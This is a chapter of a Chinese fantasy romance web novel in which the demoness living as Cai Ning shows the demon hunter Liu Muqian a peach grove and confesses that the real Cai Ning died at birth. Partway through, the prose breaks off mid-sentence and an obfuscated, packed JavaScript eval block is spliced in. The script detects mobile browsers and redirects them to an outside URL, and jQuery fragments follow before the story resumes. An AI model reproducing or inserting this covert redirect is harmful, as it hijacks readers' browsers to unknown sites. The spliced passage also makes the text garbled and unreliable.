听此话,他的视线下意识的望向净池中,这一次,他终于是卸下了那份执念,长呼一口气,眉头舒展开来。


    若如此,他柳家便不用再护着这片净池,世世代代的压制这魔丹,这份肩上的重担,便由此刻消散。


    山林传来虫鸟的叫声,日头的暖阳映照在湖面之上,他撑着身子坐起,指尖的术法很快施向水岸,果然,还是风平浪静,再也不如往日那般沸腾。


    魔丹真的没了。


    蔡宁扶住他的手腕,盯着他的面色观察半响。


    “你得好好休息了。”


    指尖下,他的脉象紊乱,气息也乱得厉害,蔡宁不由得皱眉。


    他反手拉住蔡宁的手,放置膝处,另一只手抬起,指尖触碰到她发怵微微耸起的眉心。


    指尖触碰的一瞬,她抬眼对上他的视线,只听见他虚弱又温和的嗓音。


    “谢谢。”


    不知为何,她心中涌起一股酸涩,或许是想起他柳氏一脉的诅咒,在世人看来,他柳家是多么的光宗耀祖,只有他们自己才知道,这些话语就如同荆棘,密密麻麻的爬满了他们全身,将他们困住,只要背离这使命去做一些无关的事情,就会被这荆棘狠狠的缠绕住,尖刺扎进血肉。


    明明自小刻苦勤学的少年,十多年来的坚持也只会被世人的一句天资卓越血脉相传给盖过。


    她伸手去握住他的指尖放下,朝着他弯弯眼睛一笑,就如同之前那样的明媚,可眼中却藏不住的心疼。


    “不用谢,等你修养一段日子后,陪我去个地方吧。”


    柳木谦感受着这阳光洒下的温和,这一刻并不解她眼中细腻的情绪,只是失笑的应和着她。


    “好。”


    “嗯……”


    她抿着嘴角想了想,似乎是在很认真的思考。


    “那就等三日后,我阿姐回门那一日如何。”


    他舒展着肩颈,想着三日后,那时他大概也能将门派中的事情处理妥当了。


    “好。”


    /


    一队马车有序的行使在街头,光是跟随的随侍就得十来个,更别提后面马车上装上的满满物件。


    这三皇子果然如同传闻中的那样,自幼闲散多金,这娶了新妇就得让全天下的人知道,马车前挂着的一对前几日陛下御赐的鸳鸯铃引人注目,不用想便知这是三皇子的马车。


    蔡婉清的回门宴办的可谓是风光无限,定远侯府上一次如此兴师动众还是蔡景州娶妻那日。


    那日在侯府,蔡婉清在池边落水,三皇子贺钰正巧上门拜访,两人有了那一次的不解之缘,再后来的少女怀春,少年的心生爱慕挡不住。


    定远侯手握重兵,三皇子的求娶无疑让朝臣疑心,早就听闻这陛下是偏爱于三皇子殿下的,如今又亲自应下了这门亲事,一时间太子的身份就显得很尴尬了。


    按理说,二皇子贺嘉容身为兄长,理应比三皇子先成婚,可如今却让三皇子抢占了先机。


    在众人都在猜忌这东宫之主快要易位时,太子却在三皇子成婚那日送上了新婚贺礼,二人又上演了一场兄弟情深的画面,这才堵住悠悠众口。


    这几日蔡婉清不再府中的日子,蔡宁还不太适应,人总是在最平凡的日子里难以体会到想念的情绪,自从阿姐成亲离府,父亲母亲的情绪也变得低落了起来。


    在蔡婉清回门的前一夜,父亲母亲二人院里的烛火是一夜未灭,天色刚刚亮起就爬起来梳洗,眼巴巴的在门口观望。


    蔡宁也起了个大早,原本还残留的困意在见到阿姐的那一刻也全部消散了。


    蔡婉清虽说是成亲了,却与往日里并无不同,唯一有变化的便是她的身旁总是跟着三皇子的身影。


    皇家礼制不可废,一顿饭后,二人又得回去了,定远侯府的后院摆满了琳琅满目的礼品,就连蔡宁的小院子里都堆放了两箱,可她望着这些东西,心中却一股莫名的惆怅失落。


    也是这一日,定远侯夫妇望着女儿远去的马车在原地发怵,他们后悔了,后悔为何这么快便同意了这场亲事。


    /


    城外的一处荒郊平原,跨过险峻的山崖才得以抵达的一处桃林,正值大暑的七月,进入这林间却无半分的炎热,反而是清凉的风扑面而来。


    俗话说三月赏花,七月品桃,可这处桃林的枝丫上却无半个果子,只是葱绿的叶挂满整个枝头。


    柳木谦扶住其中一棵树身,低头去问蔡宁。


    “桃树?”


    蔡宁猜到他的疑问,故作沉默的捡起刚落下的一片绿叶,绿叶在她指尖转动,浮现在空中,绿叶从里到外开始变换,最后成了一片粉白的桃花花瓣,花瓣跟随着她的指引,渐渐的融入了其中一颗树的树身。


    树身聚集起一股很清新的气息,很快,枝头抽出了嫩黄的芽,芽中间抽出了雪白的花骨朵儿。


    这颗桃树就这样满枝头的都挂上了花骨朵儿,开始绽放,粉白的花瓣开了满树。


    这片桃林也在这一刻开始变化,无数的树木枝头开始如同刚才的变化,抽出嫰芽,重新挂上了花苞,放眼望去这片桃林竟然变得如同三月的时光,花簇拥挤,零零散散的花瓣开始飘落。


    柳木谦伸手接住一片花瓣,花瓣柔软,只听见她笑着拉住他的衣袖,很认真的问。


    “这些都是我的桃树,怎么样,好看吗。”


    花瓣藏进她的发间,她带着笑意的双眸泛着柔和的光,仿佛身后的这片桃林也都变成了她的装饰。


    桃花树下,只要风吹过树叶的唰唰声,他点头,脑后的长发用玉冠束起,素净的衣裳衬得他今日过分的温和淡雅。


    “好看。”


    蔡宁盯着他的侧脸,那眉目今日终于不再惆怅,她在心中犹豫了片刻,最终鼓起了勇气开口。


    “那……我带你去见一个人?”


    一个藏着心底的秘密,她本想永远瞒着,如今却不想再瞒了。


    他能看出她脸上的紧张,不知是什么人什么事,也能够让她如此小心翼翼,柳木谦微微偏了偏脑袋,露出疑惑的神色。


    她并不挑明,也不管他答不答应,蔡宁扯着他的袖子就往桃林深处走。


    桃林不算小,一眼望去满眼的春意,桃花清淡的馨香扑面而来,他就这样跟在她的身后,任由她拉着的袖口,与她走起来发丝舞动,走到了桃林的最深处。


    她脚步停住,指尖松开了他的衣袖,地面的裙摆也随之减小了晃动的幅度,而在她的面前,是与周围不太相同的一颗小树。


    小树也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415725|154333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是桃树,但与别的不同的是,这树干上系着一根红色的绸带,迎着风不停的飘荡。


    绸带的红色淡了许多,又历经无数的风雨,早就破旧了。


    比这更显眼的是这树前的哪一方小土堆,土色与周边的颜色一致,像是已经过了很多年了,甚至已经长上了不少花草。


    蔡宁伸手去抚摸那条绸带,迎风的绸带条飞舞,不停的拍打着她的手背,像是在回应着她的情绪。


    柳木谦也察觉到了此处的不对劲,以及眼前之人的情绪低落,他抬抬手,指尖在她的肩头处犹豫一瞬,想要去安抚她的情绪。


    还未来得及出言安慰,她却淡然开口。


    “她本是个幸福的姑娘,她还未出生就受父母期许,若她还活着……该是多幸福。”


    她口中的姑娘,让她垂下了眼,就连声音都变得惆怅了起来。


    他没有问,只是靠近了她的身影,与她一同去触摸那条红绸带。


    “许多的事情,并不是因为你是妖就能够有挽救的可能。”


    她叹息一口气,回想起了往事。


    “是啊,多年前我以为我救下了宋枫,可最后他不还是死了嘛。”


    提醒宋枫,柳木谦也有一时的惋惜,他伸手抚上她的发梢,似乎是在安慰。


    “若没你相助,他早就含怨而亡了。”


    蔡宁摇摇头,本以为她会先给他讲述这份故事的开头,却没想到蔡宁却将此话略过了。


    她抬起头,怔怔的望着眼前这片桃林,指尖紧紧拽住裙身。


    “你肯定很好奇,真正的蔡宁去了哪里,才能让我这一个冒牌货冒名顶替这十七年都没露馅儿。”


    她回头望向他,身子偏移一小步,指了指身前的这个小土堆,示意道。


    “真正的蔡宁,定远侯府的三小姐早在十七年前的那夜风雨,就没了。”


    当年定远侯夫人怀胎十月,临盆之际受家中亲人挑衅,胎气受损,产下了一名死婴,婴孩出身便没了气,是蔡宁消耗大量的妖气冒死顶替,才瞒过了当时的定远侯夫人和那产婆。


    那一夜,她记得尤为清楚,或许她再早些发现,早一个时辰赶到,也许就能挽救这个孩子。


    想到这里,她心里涌起一股酸涩,她欺骗了温氏,可这个谎言已经没了回旋的余地,就在她成为那个婴孩,在那个雨夜哭出声的那一刻,她明显的感受到了来自一位母亲的喜极而泣,让本疲惫不堪的温氏有了寄托。


    妖物的五感迟钝,情绪也来得慢,可她早就不是刚开妖识的小妖了,强大的共情力成为了她这些年唯一的弱点。


    她开始去保护她想要护住的人,一次次的忘记自己不该属于这里。


    “我本是不愿看见温氏伤怀才顶替了这个孩子,可是后来我渐渐的发现,我竟然开始贪念于这些人类之前的情感,哪怕是需要日日夜夜的伪装,我也愿意。”


    蔡宁有些克制不住自己的情绪,声音有些闷闷的,她假装不在意的踢踢裙边,语气却格外的认真。


    “柳木谦,我承认一开始我是想要你的命,可是后来我发现你与别的捉妖师不同。”


    “你愿意听听妖的内心,你不是一个没有心的人。”


    正如她曾经说过的,柳公子是妖的判官。